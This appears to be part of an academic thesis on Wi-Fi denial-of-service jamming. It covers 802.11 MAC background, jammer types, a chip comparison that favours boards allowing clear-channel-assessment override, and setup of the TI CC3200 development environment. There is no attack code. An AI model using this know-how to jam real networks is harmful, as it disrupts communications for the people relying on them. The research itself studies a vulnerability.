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Resum 
En nuestra sociedad, los dispositivos Wi-Fi aumentan a una velocidad 
exponencial. Los usuarios cada día tienen más necesidad de la tecnología 
inalámbrica. A pesar de todo ello, la seguridad en la red Wi-Fi se considera 
un reto grande que todavía no ha recibido toda la atención que merece. 
Millones de ataques han sido inventados aprovechando las vulnerabilidades 
que existen en la tecnología Wi-Fi.  Especialmente, el ataque de denegación 
de servicio (DoS) se considera como un problema grave porque causa una 
interrupción total en el sistema de comunicación y, potencialmente, una 
inmensa pérdida económica. El ataque se puede llevar a cabo por un 
dispositivo asequible y económico en el mercado.  
Un jammer Wi-Fi es un dispositivo diseñado para realizar un ataque DoS 
enviando una señal con potencia alta a un determinado canal. Además, el 
control del acceso medio en WLAN está basado en el mecanismo CSMA/CA, 
es muy vulnerable a un ataque DoS porque los atacantes pueden aprovechar 
el diseño de algunos mensajes del dicho mecanismo y bloquear la 
comunicación. 
Por lo tanto, esta investigación tiene su objetivo principal en demostrar la 
vulnerabilidad de la red Wi-Fi frente ataques de denegación de servicio 
usando un chip programable, TI SimpleLink CC320.  Para alcanzar nuestro 
objetivo, analizamos diferentes aspectos de la tecnología IEEE 802.11, nos 
familiarizamos con el entorno de desarrollo del chip, y estudiamos el código 
de los ejemplos para adaptar nuestra implementación.  
EL trabajo se completa con pruebas sobre su efectividad y eficiencia. Para 
ello, usamos software como Tera-term, Wireshark, Iperf, TI radio tool como 
herramientas de testing. Se trata de buscar el daño máximo en función de la 
menor potencia consumida. En esa búsqueda, hemos creado una serie de 
experimentos para estudiar el efecto de la distancia junto el nivel de la 
potencia transmitida y el consumo energético según la variación de la 
potencia transmitida.   
 Overview 
In our society, Wi-Fi devices increase at an exponential rate. Users are 
increasingly in need of wireless technology. In spite of all this, security in the 
Wi-Fi network is considered a big challenge that has not yet received all the 
attention it deserves. Millions of attacks have been invented exploiting the 
vulnerabilities that exist in Wi-Fi technology. In particular, the denial of service 
(DoS) attack is considered to be a serious problem because it causes a total 
disruption in the communication system and potentially an immense economic 
loss. Such attack can be carried out using an affordable and economical device 
on the market. 
A Wi-Fi jammer is a device designed to perform a service DoS attack by 
sending a signal with high power to a particular channel. In addition, the WLAN 
medium access control is based on the CSMA / CA mechanism, it is very 
vulnerable to a DoS attack because the attackers can take advantage of the 
design of some messages of the mechanism and block the communication. 
Therefore, this research has its main objective in demonstrating the 
vulnerability of Wi-Fi network denial of service attacks using a programmable 
chip, TI SimpleLink CC320. To reach our goal, we analyze different aspects of 
IEEE 802.11 technology, become familiar with the development environment of 
the chip, and study the code of the examples to adapt our implementation. 
The work is completed with evidence of its effectiveness and efficiency. To do 
this, we use software such as Tera-term, Wireshark, Iperf, TI radio tool as 
testing tools. It is about finding the maximum damage based on the lowest 
power consumed. In this search, we have created a series of experiments to 
study the effect of the distance together the level of transmitted power and the 
energy consumption according to the variation of transmitted power. 
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Introduction: 
In this modern society, we more and more rely on technologies, specially, on 
information and communications technology.  It’s evolving at an incredible pace 
since the last decades, time during which the concept of “computer” has been 
completely changed.  
For instance, today’s definition of computer isn’t related to the traditional 
desktop or laptop device anymore, a single mobile phone might have a stunning 
computational capacity to process large amount of data. Its physical design 
doesn’t need to be a folding device with keyboard but a simple tactile screen or 
wearable device that satisfy all our needs. 
One of the biggest reasons that we can enjoy our life with these “magical” 
objects would be that the network infrastructures are well developed and 
implemented. In other words, network operators have prepared a robust 
condition for us, the end-users. 
There are so many options to connect to the Internet. At the beginning, devices 
like desktops or laptops can transmit data using wires (e.g. Ethernet cable). 
However, as mentioned before, more and more small sized computing devices 
are involved in our daily-life. Wired solutions aren’t always feasible. Therefore, 
wireless technology has become a major player. Among the available WPAN, 
WLAN and WWAN technologies in use today, those based on the set of 
standards defined by the IEEE 802.11 can be considered one of the most 
popular and rapidly growing alternatives. According to the recent statistics, Wi-
Fi devices were already over 15 billion at the end of 2016 [21].  
Such standard, popularly known as Wi-Fi, seems a perfect and ideal solution for 
the smart objects due to its acceptable throughput, wireless characteristic and 
flexible mobility inside the sign coverage. But, is it a really reliable and secure 
network environment? Could we 100% assume the data integrity? In the 
following chapters demonstrate that Wi-Fi networks are extremely vulnerable 
under jamming attack because of its channel access scheme.  
All these questions are the major objectives and reasons for this investigation; 
more precisely, it is focused in WLAN network availability and the network 
strength under jamming attacks. Once the global aim of the project is settled, 
the specific objectives of this dissertation are the following: first, we studied the 
literature on jamming Wi-Fi networks, and then we study the hardware platform 
that will be used to build different types of jammers. One of the contributions of 
this project is the production of documentation regarding the installation and 
operation of the development environment chosen. Finally, we implement our 
jammer and evaluate its efficiency with a set of experiments. The hardware 
exploration, development environment installation, the study state of the art on 
jamming Wi-Fi networks, the attack technique implementation and the 
measurements of fundamental network parameters in order to evaluate and 
optimize the jammer performance is collected and hereby documented as my 
final degree project.  
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As the index showed, this study will be divided in six chapters. The first chapter 
briefly introduces the IEEE802.11 standard’s history and some fundamental 
mechanisms, relevant to this project. 
Chapter 2 focuses on the concept of jammer, types of jammer and how it works 
in a WLAN. In chapter 3, we give details about the hardware platform used to 
implement the jammer its development environment and some deployment 
details such as compilation, programming language, useful function library, etc.  
Chapter 4 and 5 will provide more details about the jamming implementation. In 
this study, we first develop two types of jammer: constant jammer and deceive 
jammer to then measure its impact and the energy consumed. 
Finally, we will review all the significant points of each chapter and discussing 
whether we have achieved our goals as proposed initially.    
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Chapter 1. About IEEE 802.11 
1.1. IEEE 802.11 Overview: 
The widely known wireless local area network (WLAN) IEEE 802.11 Standard, 
the main objective of which is to create a Local Area Network (LAN) 
environment using RF communication techniques. It appeared after the the 
Federal Communications Commission (FCC) announced the availability of 
spectrum from 2.4-2.5 GHz for individual and non-licensed use in 1985 [1]. Turs, 
this lead to up and coming developers of wireless communications technologies 
implemented their projects in this license free frequency. 
The IEEE 802.11 Standard has undergone constant amendment and updating, 
striving to provide new services and features for expanding the use case set of 
WLANs. The following figure shows all the IEEE 802.11 amendments in 
different time period: 
 
                                                Table 1 Evolution timeline of 802.11 standards 
In the original standard, adopted in 1997, the maximum physical rate was only 
2Mbps using direct sequence and frequency hopping for interference mitigation. 
The key success of 802.11 is definitely its compatibility with current 802 
networks, specifically, the 802.3 wired Ethernet networks. It’s possible due to 
the independence of its PHY access and MAC access from overlaying 
communication layers. [1] 
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In the first standard, it used Differential Binary Phase Shift Keying (DBPSK) and 
Differential Quadrature Phase Shift Keying (DQPSK) as signal modulation and 
DSSS and FHSS for frequency mitigation as mentioned before. In the MAC 
level, IEEE 802.11, similar (but not equal) to other 802s’ standards, uses Carrier 
Sensing Multiple Access/Collision Avoidance (CSMA/CA) as the media access 
mechanism [1]. It senses media with collision avoidance while its wired relatives 
used Carrier Sensing Multiple Access/ Collision Detection (CSMA/CD).  
As the previous Table shows, there are different specifications for the IEEE 
802.11 standards. Each specification implements an update to optimize or 
improve the original standard. In this section will briefly introduce some 
important amendments. 
IEEE 802.11b was probably the most widely-recognized and widely-used WLAN 
standard and seed of its current success and predominance.  It was adopted by 
IEEE in 1999, two years after the original standard. Respect the original one, 
802.11b allows for 5.5 Mbps and 11Mbps. [1] 
The moment that IEEE task group was designing 802.11a, many countries had 
opened up some 5 GHz for unlicensed use. Compared to 2.4GHz, 5GHz is less 
“RF dense”, suffering from less interference and having larger available 
bandwidth. This standard uses a different transmission technique, which 
improves the data rates, thanks to the orthogonal frequency division 
multiplexing (OFDM); the physical rate could be up to 54Mbps in the 5GHz 
spectrum. 
After the 802.11a amendment showed huge success using OFDM, IEEE task 
group was planning to implement the same modulations into the 2.4 GHz, which 
allows the birth of 802.11g. Its major objective was overlaying the OFDM 
waveform on the 2.4 GHz spectrum, but keeping backwards compatibility with 
the 802.11b standard. This was a hard challenge, but three years after, it was 
possible to mix 802.11b and 802.11g equipment to coexist on the same network. 
The data rate improvement leads to the support of bandwidth-hungry 
multimedia applications such as video conference, VoIP, video streaming etc. [1] 
Since the new amendments were improving data rates, modulation efficiency 
and other aspects, IEEE working group then focused more on the additional 
security enhancements to provide users with additional security features.  
The initial standard included a MAC-level security protocol, Wired Equivalent 
Privacy (WEP), which tried to provide user confidentiality and authentication by 
a very small subset (up to four) of pre-shared keys to encrypt every packet of 
the session. WEP wasn’t designed for the wireless network security but to 
provide reasonable session privacy. However, WEP was rife with vulnerabilities, 
and continued bad press caused 802.11 users to demand better security. So, in 
June 2004, the 802.11i amendment was ratified. The security enhancements in 
it became known as WAP2, Wireless Protected Access V2. More information 
about IEEE 802.11i will be discussed in the next section. 
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In 2003, the 802.11 task group started to consider multiple-input multiple-output 
(MIMO) technique into the new 802.11n amendment, ratified in 2009.  Such 
technique could raise dramatically up the date rates in both 2.4 GHz, 5 GHz and 
3.7 GHz spectrum.  Furthermore, like the 802.11g amendment, 802.11n is also 
fully compatible with previous 2.4GHz and 5GHz implementations. Obviously, 
2.4GHz concentrate a high amount of users, but it’s also a strongly interfered 
spectrum. MIMO somehow provides protection against some interferences.  
Theoretically, 802.11n can support data rates up to 600Mbps. However, in its 
current implementation, with the congestion problem and large amount of 
interference in 2.4GHz, the maximum achievable throughput is lower than 
expected. 
The latest advance in Wi-Fi technology has come from IEEE 802.11ac, 
providing high-throughput on the 5GHz band and using multi-user MIMO(MU-
MIMO). It raises the physical rate up to 6,77 Gbits/s.This is possible thanks to 
the enhancement of air-interface concepts previously embraced by 802.11n 
such as wider RF bandwidth (up to 160 MHz), more MIMO spatial streams (up 
to eight), high-density modulation (up to 256-QAM) [17]. 
Under current development, IEEE 802.11ax will improve overall spectral 
efficiency. It’s still in a very early stage of development, but is predicted to have 
a top speed of around 10Gbps, it works in both 2.4 and 5 GHz with MU-MIMO 
to improve spectral efficiency and also higher order 1024 QAM modulation 
support for better throughputs. [18] 
1.2. Medium Access Control in IEEE 802.11 
In this part of the study, a more specific demonstration of the jammer working 
mechanism would be introduced.  
Before that, it’s strongly recommended to know the WLAN media access control 
algorithm. IEEE 802.11 standard offers different operating modes: Distributed 
Coordination Function (DCF), Point Coordination Function (PCF), Hybrid 
Coordination Function(HCF) etc.  
 
                                                                  Figure 1 CSMA/CA diagram 
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According to nowadays Wi-Fi devices implementation, DCF is the most popular 
mode. Such mode uses CSMA/CA contention based MAC algorithm. As the 
previous figure shows, before starting a transmission, a station senses the 
channel to verify its status (free/busy) during a Distributed Inter-Frame Space 
(DIFS). If the medium is free, then station will begin the transmission. For each 
successful transmitted frame, the receiver will send an ACK frame to confirm 
with the transmitter. ACK frame will be sent after a Short Inter-Frame Space 
(SIFS) 
Otherwise, the transmission is delayed until the channel is free again; station 
will wait a backoff time to sense the channel again. It would be a random value 
between [0, CW-1]. Notice that CW stands for Contention Window which its 
minimum value (CWmin) is the first transmission attempt and increases in 
integer powers of 2 at each retransmission up to a predetermined maximum 
value (CWmax). 
 
1.3. IEEE 802.11 messages 
In this session, a brief introduction of IEEE 802.11 management messages 
would be demonstrated.  As all other communication protocols, IEEE 802.11 
has its own control and management messages to inform devices about the 
network characteristics such as network name (SSID), signal modulation 
(e.g.OFDM), supported rates, etc. Devices react after receiving these messages 
to adjust their communication to adapt to the network condition.  
However, the original design of these messages lacked of security 
considerations. Thurs, they are, in some aspects, very “vulnerable ”; this allows 
hackers to exploit these management messages and maliciously use them for a 
network attack.  
 
Therefore, in order to understand the main objective of this project, it’s 
necessary to have a basic concept about the following control messages: 
1. IEEE 802.11 Beacon Frame 
2. Request to Send message (RTS) 
3. Clear to send message (CTS) 
No doubt, there are more control and management messages in the IEEE 
802.11 standards. However, for a well comprehension in the further contents of 
this investigation. It is essential to understand the basic functionality of Beacon 
frame and RTS/CTS mechanism. 
IEEE 802.11 Beacon Frame: 
Beacon frame is one of the most important management messages in IEEE 
802.11. It contains all the information about the network and it is transmitted 
periodically to inform the presence of a Wireless LAN network. Beacon frames 
are transmitted by an Access Point in an infrastructure Basic service set (BSS) 
[2].  
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The most relevant fields of the beacon frame are shown below: 
 Timestamp: It helps the network synchronization; once stations receive 
the beacon; it changes the local clocks to this value. 
 
 Capability information: It indicates the type of network (AdHoc or 
Infrastructure), if polling is supported, encryption details and other 
characteristics. 
 
 Service Set Identifier (SSID) 
 
 Supported rates 
Request To Send / Clear To Send: 
Request to send/Clear to send (RTS/CTS) is a mechanism applied in the 
802.11 wireless networking protocol to reduce frame collisions caused by the 
hidden node problem, which occurs, for example, when a node is visible from 
an AP, but not from other nodes communicating with it [3]. This causes 
difficulties in media access control sublayer. The following figure shows an 
example of hidden node problem. 
 
                                                         Figure 2 hidden node problem 
Node B is the AP, which can detect the presence of both node A and C. Station 
A and C can communicate with B directly but are not aware of each other [4]. 
So, if Station A and C transmit data simultaneously to node B, since they both 
assume that the medium is idle due to the CSMA access, there will be a 
communication collision in the network. Such scenario is known as “Hidden 
node problem” [4]. To overcome this problem, RTS/CTS handshaking is 
implemented as part of the CSMA/CA mechanism. Node A, before sending data 
to B, will transmit a “request to send (RTS)” message indicating the duration of 
the transmission, if B is available for the transmission, it will answer with a 
“Clear to send (CTS)” message with the duration field updated [3]. 
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Thus, all the devices under the coverage of B will receive the messages, they 
will reserve a silent time as indicated in the duration field, thus avoiding collision 
with station A. The following figure shows, an example of RTS/CTS handshake. 
It shows that a transmitter sends a RTS message trying to reserve a silent 
period for a data transmission (time of the reservation indicated in the duration 
filed). If the receiver is available, after a SIFS it replies with a CTS message to 
the transmitter. All other stations inside the network who hear these messages 
will update their Network allocation vector (NAV), which keeps them holding 
their transmissions and not accessing the medium during this period, even 
though they physically sense the medium idle.    
 
                                                        Figure 3 RTS/CTS mechanism 
The RTS frame contains five fields, 
which are: 
1. Frame control 
2. Duration 
3. RA (Receiver Address) 
4. TA (Transmitter Address) 
5. FCS 
 The CTS frame contains four fields, 
which are: 
1. Frame control 
2. Duration 
3. RA (Receiver Address) 
4. FCS 
 
1.4. IEEE 802.11 security issues 
It is very important to mention the security reliability of IEEE 802.11 networks, 
given its wide range of implementation and large amount of data transmission 
globally. As all the communication standards, their original designs didn’t focus 
on security, since most of their initial developments were purely of academic 
use. Due to this, the users of the network such as IEEE 802.11 at the beginning, 
it’s relatively innocent. 
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WLAN network could be almost the perfect wireless solution to replace the 
Ethernet technology in the link layer, which also implies a stable compatibility 
with Internet protocol. For this matter, more and more mobile devices started to 
become capable of connecting to the Internet through IEEE 802.11 standards.  
However, as its popularity increased, a huge range of new users appeared, 
some of whom, taking advantage of the weak security design of the standards, 
could use it maliciously. 
Most of the common attacks on WLAN networks are the following: 
1. Eavesdropping: 
Wireless LANs radiate network traffic into space. This makes it impossible to 
control who can receive the signals in any wireless LAN installation. Hence, 
eavesdropping by a third party enables the attacker to intercept the 
transmission over the air from a distance [5]. 
 
                                                          Figure 4 eavesdropping in WLAN0 
2. Man In The Middle Attack (MITM) 
In this type of attack, a fake STA intercepts the communication between the 
legitimate STA and the AP so that the attacker impersonates the legitimate STA 
before the AP and, at the same time, it also fools the STA behaving as the AP. 
Once the user has been connected to the fake STA, it can intercept transmitted 
data, passing sensitive data like username and password [5]. 
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                                                          Figure 5 Man in the Middle attack 
3. Denial of service 
Denial of service (DoS) defines as the inability of users or systems to access 
needed resources. The attack is especially against WLAN networks at physical 
layer and link layer [5]. 
Physical layer attack:  
The attacker tries to generate a high power level signal in order to drown out the 
RF signal transmitted by the legal STA on WLAN.  Since the hacker has a high 
power signal, it effectively causes a DoS scenario, since IEEE 802.11 compliant 
stations will always sense the medium busy.  
Link layer attack: 
Normally, it exploits the processing of certain management frames exchange 
within a WLAN. The attacker generates gratuitous WLAN management or 
control frames, which are difficult to be ignored by the STA and the AP. In 
consequence, STAs will be denied access to the WLAN as long as the attacker 
continues to transmit those forged frames. 
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                                                         Figure 6  Dos scenario at layer 2 
All these attack techniques mentioned previously are only a tiny peak of the 
iceberg. The physical factor and the lack of security considerations made the 
WLAN network a paradise for the cyber attackers. In consequence, IEEE 
802.11w was ratified in 2009 to increase the security of its management frames 
improving the IEEE 802.11 Medium Access Control layer in order to increase 
the data confidentiality of management frames. According to this amendment, it 
protects critical messages such as disassociation, de-authentication and re-
association etc. However, a DoS attack using frames like RTS/CTS will still be 
very effective despite this amendment since RTS/CTS are very significant 
frames and they must be able to be decoded for all the nearby devices sharing 
the medium, therefore no encryption would be applied to RTS/CTS.   
In the next chapter, a more specific study of DoS attacks would be introduced, 
such as the basic concept of a jammer, type of jammers and possible 
implementations to create a jamming device to attack WLAN networks. 
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Chapter 2. Jamming Attack 
2.1. What is a jammer 
A brief concept about security threats in IEEE 803.11x networks has been 
demonstrated in the previous chapter. In this section, a detailed study about 
denial of service attack techniques using jammer devices will be explained. 
At the beginning, it’s important to be aware of the definition of a jammer and its 
mechanisms. According to several related academic papers, a jammer could be 
defined as “an entity who is purposefully trying to interfere with the physical 
transmission and reception of wireless communication” [6]. 
Most DoS attacks based on jammer devices are layer-1 attacks with non-Wi-Fi 
devices trying to generate a high power signal at the same channel as the 
legitimate stations. Normally, it spreads energy over the targeted spectrum 
where it becomes difficult for a legitimate receiver to distinguish the expected 
signal from the interference. 
Such attack intends to interrupt the communication in a WLAN network. To 
archive this objective, it’s enough only using a low-priced and easily accessible 
RF generator which is capable producing 2.4GHz or 5GHz signals. Most of 
them are well encapsulated with a simple on-off switch to turn on and off the 
jammer; usually, they are battery-powered since such device should have 
autonomy. In [19] a link is provided as an example of a simple jammer in the 
market. 
Furthermore, it’s interesting to notice that, in order to produce a communication 
disorder in WLAN network, sometimes it’s not always necessary the 
transmission of a high power signal. A low power transmission could be 
significantly harmful if the jammer is well settled and configured. For example, it 
could be designed to only jam certain frames such as the acknowledgement 
frames to make the transmitter misunderstand that the data is lost or broken 
during the communication. This creates retransmissions (with increasing 
backoff timer values) until the network gets into a vicious loop to freeze the 
communication. 
Jamming techniques are cost-effective attacks in terms of the harm they 
produce as breaking down the core communication line, VoIP service, mail 
service, web etc. Each of these services unavailability leads to huge economic 
losses for the companies who rely their business activity on staying connected.  
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                                                         Figure 7 a Wi-Fi jamming device 
 
2.2. Jamming in WLAN networks 
As previously explained, this contention-based MAC mechanism is very 
vulnerable to DoS attacks using jamming techniques. As we know, typical 
jammers generate a powerful signal at the same frequency as the Wi-Fi devices. 
In consequence, the medium is always sensed as occupied, which can prevent 
the nodes to perform legitimate MAC operations or can cause the collision of 
frames, thus increasing backoff waiting times.  
Furthermore, based on a large amount of studies and many observations on the 
jammers’ performance during the experiments; there could be a well justified 
classification of jammers as the following [6]: 
 Constant jammers 
 Deceptive jammers 
 Random jammers 
 Reactive jammers 
Constant jammer are those low-priced simple jammers that we are familiar with; 
it transmits radio signal without following any MAC layer protocol. It tries to 
occupy a specific channel during a given period. 
Deceptive jammers continuously sending regular frames (normally, IEEE802.11 
management frames) without any gap. This leads to a fraud to other 
communicating nodes to believe that a legal transmission is occurring.  
Random jammers that transmit for a time and goes to sleep, where both the 
transmission time and the sleep time can be random. 
Reactive jammers that start transmitting jamming signals as soon as it detects 
activity on the shared medium and goes to sleep when there is no one 
transmitting. 
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In this study, investigation about constant jammer and deceptive jammer would 
be shown in the further chapters. Despite the major focus would be on the 
deceptive jammer.  
Even though, all the type of jammers is able to produce an unimaginable 
negative result to the IEEE802.11 network communication. But, their cost-
efficiency would be rather different. For example, some may need to generate a 
higher power signal to archive the same result which implies more electric 
consumption and less battery life. 
For this matter, there are several factors could significantly impact the jamming 
result [23]: 
1. Distance between jammer and wireless device 
2. Transmission power of jammer and the network devices 
3. Modulation and coding scheme used by the WLAN STAs 
4. Frame size and the role of the attacked device 
 
Each factor plays a critical role in the jamming attack. In the further chapter, a 
more specific analysis would be demonstrated with experiments carried out in 
an isolated, low interferences condition. Thus, the experiment results would be 
more trustworthy and help us to compare the efficiency of each jammer based 
on different factors. 
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Chapter 3. Implementation Environment 
After the introduction on IEEE 802.11 operation and the mechanisms used by 
jammers, this chapter evolves our objectives towards the implementation of a 
low-cost, low-energy jamming device. For that objective, we first study different 
hardware platforms and then we detail the environment chosen: the TI CC3200. 
 
3.1.  Possible jammer Implementations 
  At this point, it would be more oriented to the implementation of a jammer with 
chipset that has basic computational capacity and Wi-Fi modules such as Wi-Fi 
radio signal generator, send and receive antennas etc. This chapter guides us 
into a more practical perspective of this investigation. 
 
At the beginning of this study, three types of chipsets from different 
manufactures were proposed: 
 
1. ATWINC1500 from Atmel 
2. ESP8266EX from ESPRESSIF 
3. CC3200 from Texas Instrument 
 
Despite that these three chipsets are from completely different fabricants, they 
all share the same kind of main purpose: implement solutions to Internet of the 
Things (IoT).  All of them are described as a low-power, highly-integrated Wi-Fi 
solution. These devices are normally implemented with acceptable CPU to 
process basic tasks, limited RAM memory to save data temporarily, reduced 
TCP/IP stack is implemented to allow developers built simple applications; such 
as read the current temperature in the room and forward it to an external server 
through Internet (using Wi-Fi in the Link-layer). 
 
 
Figure 8 Internet of the things 
Nevertheless, the design principal of these chipsets is to communicate small 
objects and control them through Internet. As explained before, there is a high 
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degree of liberty to create very different applications with common protocols like 
IP, TCP, UDP and HTTP. Due to their flexibility in the low layer control (PHY 
and Link Layer) and the easy accessibility with a very economic price; these 
chipsets almost become a nuclear weapon for hackers who want to initiate a 
DoS attack. It’s necessary to insist that, for the reason of the hardware limitation, 
a complete security coverage inside these devices could be a big challenge as 
secure protocols require more computational capacity and bigger memory 
space. This innate weakness makes the hacking process even more convenient.  
To choose the best chipset for our project, a summarized hardware introduction 
of each board is shown in the following: 
 
Atmel ATWINC1500: 
 
ATWINC1500 is a chip designed to adapt the IEEE 802.11 b/g/n standards. It’s 
optimized for low-power mobile solution and IoT. 
The chip operates at 2.4GHz ISM band with a 
FCS engine checks the CRC of Tx and Rx 
packets. It also implements a cipher engine, which 
performs all the required encryption and 
decryption operations for the WEP, WPA-TKIP, 
WPA2, CCMP-AES, WAPI. Furthermore, it works 
in different modulation: 802.11b with DSSS-CCK, 
802.11g and 802.11n with OFDM. ATWINC1500 
allow developers to use C as the main program 
language. Furthermore, Atmel Studio is a powerful Integrated Development 
Environment (IDE) with C/C++ compiler, Debugger and code editor.  
 
ATWINC1500B implements an APS3 32-bit processor, it performs many MAC 
functions such as association, authentication, power management, security key 
management and MSDU aggregation/de-aggregation etc. It also supports 
different modes of operations such as STA and AP modes.  
 
The core CPU uses 128KB instruction/boot ROM along with a 160KB instruction 
RAM and a 64KB data RAM. ATWINC1500 also has 4MB flash memory, which 
can be used for system software. In addition, the device uses a 12Bkb shared 
RAM, accessible by the processor and MAC. [7] 
 
In terms of power consumption, ATWINC1500 defines different states; each 
state has its own power consumption level. The following table shows the detail 
of the power consumption in each state: 
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                                                 Figure 9 current consumption ATWINC1500 
 
ESP8266: 
Espressif’s ESP8266EX offers a highly integrated Wi-Fi SoC solution to 
complete users’ cautious demands for efficient 
power usage. ESP8266 has 2.4 to 2.5 GHz as its 
working frequency range.  It adapts different 
802.11 standards such as 802.11b/g/b/n/e/i. In 
order to optimize the tasks, it implements a 
hardware accelerator for CCMP (CBC-MAC, 
counter mode), TKIP (MIC, RC4), WAPI (SMS4), 
WEP (RC4), CRC. It also uses WEP, TKIP and 
AES algorithms for software encryption. The 
ESP chip works with several modulations such 
as CCK (802.11b), OFDM (802.11g) and MSC7 
(802.11n). ). Espressif does not have its own IDE 
to develop the chip. Therefore, other C/C++ like Eclipse could be an alternative 
for the development; it also allows developers use the official Arduino IDE for 
the implementation and other environments such as javascript-based Node.js.  
 
ESP8266 implements Tensilica L106 32-bit processor and an ultra-low-power 
16-bits RISC. CPU oscillates at 80 MHz up to the maximum value of 160 MHz. 
It integrates the memory controller and memory units, including SRAM and 
ROM. MCU can access the memory units through iBus, dBus and AHB 
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interfaces. Unfortunately, there is no programmable ROM in the chip. Therefore, 
the user program must be saved in and external SPI flash. [8] 
 
The following figure shows the power consumption of ESP8266 in different 
situation: 
 
                                                    Figure 10 Current consumption ESP8266 
CC3200: 
SimpleLink CC3200 device is a wireless 
MCU that integrates a high-performance 
ARM Cortex-M4 MCU, allowing customers 
to develop a wide range of IoT solutions. 
CC3200 generates Wi-Fi signal at 2.4 GHz. 
It works with 3 different IEEE 802.11 
standards: 802.11b/g/n. It implements 
hardware crypto engine for advanced fast 
security including: AES, DES,3DES, SHA2, 
MD5, CRC and checksum.  Different 
modulation as DSSS, CCK, OFDM, MCS7 
are used for 802.11b, 802.11g and 802.11n 
respectively. 
 
The high-performance ARM Cortex-M4 processor provides a low-coast platform 
that requires minimal memory implementation, reduced pin count, and low 
power consumption. CC3200 includes on-chip SRAM to which application 
programs are downloaded and executed, it provides up to 256KB of zero-wait-
state, on-chip SRAM.  
 
CC3200 power consumption also differs depending on the state to optimize the 
chip performance. The following table shows a detail about the chip current 
consumption: 
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                                              Figure 11 current consumption CC3200 
 So, to simplify the comparison, a table contents different hardware 
characteristic has been made: 
 ATWINC1500 ESP8266 CC3200 
802.11 
standards 
b/g/n b/g/n b/g/n 
Power consumption 294(mA) 170(mA) 278(mA) 
Radio test tool No No Yes 
CCA override No Yes Yes 
                                                     Table 2  Chipsets comparison 
Obviously, all the chips are well designed to implement wireless IoT 
applications. However, due to our major objective, it’s necessary to deactivate 
the Clear Channel Assessment (CCA) option, which allows the chip to send 
information without proceeding with the CSMA/CA algorithm. So, the best 
candidate could be ESP8266 and CC3200. But the further investigation shows 
Texas Instrument has more detailed user guide documents and a very 
sophisticated API documentation with detailed examples to allow developers 
get familiar with the chip as fast as possible. Moreover, Texas Instrument has 
created an official forum where developers can find many chip related tutorials 
and, in terms of questions or doubts, there are many professional engineers, 
who offer answers and advises online. After all the analysis, we have decided to 
use CC3200 for our jammer implementation. 
 
 
3.2. About TI CC3200 
As commented in the previous section, CC3200 SimpleLink from Texas 
Instrument has been chosen as the best candidate for our jammer 
implementation. Before further development, a more detailed CC3200 chip 
description is given in this section. 
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TI CC3200 is a robust chipset assembled with application microcontroller, Wi-Fi 
network processor and power-management subsystem. It has an ARM Cortex 
M4 at 80MHz to complete all the computational requirements; with 256KB RAM 
the chip can run many IoT applications without noticeable latencies.  
 
Moreover, the chipset has already put a  reduced Wi-Fi and Internet protocols in 
ROM. Developers could use all the basic TCP/IP stack libraries in order to 
create applications at a high level. In the low level layers, it supports 
802.11b/g/n radio generation in the baseband and follows the specific medium 
access control (MAC) algorithm to use the channel appropriately.  
A wide range of functions have been defined as application programming 
interfaces (API) for purpose of simplify the chipset configuration and parameter 
setting. It allows developers to create up to eight simultaneous TCP and UDP 
sockets in the transport layer for sending and receiving data.  If security is a 
critical concern for your project, you can create 2 TLS and SSL socket 
simultaneously to secure the transport layer. 
 
In terms of data transmission and reception, CC3200 keeps a low energy 
consumption to optimize the battery life. Regarding the official datasheet, at 
1Mbps (using DSSS) the maximum allowed transmitted power is 18 dBm and it 
is reduced for higher order modulations to avoid distortion. 
The minimum power level for the data reception is -95.7 dBm for 1Mbps DSSS 
and -74 dBm for 54Mbps OFDM. More information of the transmission and 
reception could be found in the following  table: 
 
                                          Table 3 CC3200 transmission characteristics 
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                                              Table 4 CC3200 reception characteristics 
Due to the ultra-low power consumption, CC3200 has an impressive long active 
life. As the document [9] shows, CC3200 could be active reliably for 10 years 
considering the working condition in an accepted temperature (up to 85℃) and 
20% active mode and 80% sleep mode. 
 
On the other hand, the Wi-Fi network processor subsystem includes a 
dedicated ARM MCU to completely offload the host MCU along with an 802.11 
b/g/n radio, baseband and MAC with a powerful crypto engine for a fast and 
secure WLAN and Internet connections with 256-bit encryption.  CC3200 is able 
to function as AP and Wi-Fi Direct modes. The Wi-Fi network processor has an 
embedded IPV4 TCP/IP stack.  
The following table shows all the support features by the Wi-Fi Network 
Processor (NWP) sub-system:  
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                                          Table 5 Features Supported by the NWP Subsystem 
In this project, we are going to use the “station” feature that can operate IEEE 
802.11 b/g/n with legacy power save.  
3.3. IDE for CC3200 development 
In this part of the study, a step by step tutorial for installing the Integrated 
Development Environment (IDE) is introduced. 
 
CC3200 chipset is manufactured 
by Texas Instrument, the same 
company offers a specific 
development environment to 
implement applications for TI’s 
DSP, microcontrollers and application processors. This IDE is called Code 
Composer Studio (CCS). It includes a wide range of useful development kits for 
users to start the development in a way as simple as possible; for example, the 
IDE implements an optimizing C/C++ compiler, source code editor, project build 
environment, debugger, profiler and many other features. 
 
Before going into the details, it’s worth mentioning that all the development of 
this project is based on a laptop PC running Windows 10 operation system due 
to its easy and simple compilation and installation of the build environment. At 
the end of this document, a valid working environment should be successfully 
settled in Windows OS. 
 
The official TI CC3200 website[19] provides very detailed documentation in 
order to simplify the work environment configuration for Windows users. This 
document follows basically the latest version of programmer’s guide which 
could be found in the TI website. [10]  
In the above link, the SDK installer could be found. To start the development, 
it’s necessary to accept the legal agreement required by the manufacturer. 
Such agreement will be involved into all the downloadable TI’s resources: 
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Figure 12 Service agreement 
As indicated in the below figure, a default installation directory would be chosen 
to ease the further configurations: 
 
 
Figure 13 SDK installation 
 
After the SDK installation, it is important not to forget the installation of the SDK-
Service pack: 
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Figure 14 CC3200 SDK-Service pack 
Another important tool for the development is be Uniflash, which helps us to 
download firmware, application images and certificates to the device. This 
software can be found here: [11]  
It redirects to a wiki page where a Linux version of this software is also available. 
For this document, only Windows version is needed although a Linux version 
would be extremely helpful to setup a work environment in Ubuntu. 
After installing the Uniflash, we should setup our IDE. The download and detail 
information could be found in this link. [12]  
 
Figure 15 CCS installation 
If installation proceeds successfully, it leads us to a welcome perspective as in 
the following figure: 
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Figure 16 welcome CCS 
There are related AD-ONS that need to be installed before starting with the 
development. To do this, enter the App-Center menu, find CC32XX and make sure you 
choose “ALL” applications as the following figure shows: 
 
Figure 17 CCS app center 
Finally, an emulation environment is installed, where Tera Term [20] plays a 
very important role.  It’s an open-source free-software terminal emulator 
supporting UTF-8 protocol. 
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                                                              Figure 18 Tera Term setup 
At this point, all tools for CC3200 development should be all successfully settled 
up. More details about IDE installation and pre-requirements could be found at 
this link: [12] 
 
